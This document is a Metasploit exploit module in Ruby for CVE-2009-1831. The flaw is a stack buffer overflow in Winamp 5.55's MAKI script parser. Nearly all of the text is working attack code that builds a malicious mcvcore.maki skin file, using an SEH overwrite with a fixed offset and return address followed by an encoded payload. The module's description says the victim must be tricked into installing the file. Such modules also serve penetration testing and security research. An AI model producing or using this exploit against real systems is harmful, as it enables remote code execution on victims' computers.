Winamp MAKI Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Winamp MAKI Buffer Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow in Winamp 5.55. The flaw  
exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,  
where memmove is used with in a insecure way with user controlled data.  
  
To exploit the vulnerability the attacker must convince the attacker to install the  
generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,  
or generate a new skin using the crafted mcvcore.maki file. The module has been  
tested successfully on Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Monica Sojeong Hong', # Vulnerability Discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2009-1831'],  
[ 'OSVDB', '54902'],  
[ 'BID', '35052'],  
[ 'EDB', '8783'],  
[ 'EDB', '8772'],  
[ 'EDB', '8770'],  
[ 'EDB', '8767'],  
[ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 4000,  
'DisableNops' => true,  
'BadChars' => ""  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# winamp.exe 5.5.5.2405  
[ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',  
{  
'Ret' => 0x12f02bc3, # ppr from in_mod.dll  
'Offset' => 16756  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 20 2009',  
'DefaultTarget' => 0))  
  
deregister_options('FILENAME')  
end  
  
def file_format_filename  
'mcvcore.maki'  
end  
  
def exploit  
  
sploit = rand_text(target['Offset'])  
sploit << generate_seh_record(target.ret)  
sploit << payload.encoded  
length_sploit = [sploit.length].pack("v")  
  
header = "\x46\x47" # magic  
header << "\x03\x04" # version  
header << "\x17\x00\x00\x00"  
types = "\x01\x00\x00\x00" # count  
# class 1 => Object  
types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7"  
# functions  
functions = "\x37\x00\x00\x00" # count  
#function 1  
functions << "\x01\x01" # class  
functions << "\x00\x00" # dummy  
functions << length_sploit # function name length  
functions << sploit # crafted function name  
  
maki = header  
maki << types  
maki << functions  
  
print_status("Creating '#{file_format_filename}' file ...")  
  
file_create(maki)  
  
end  
  
end  
`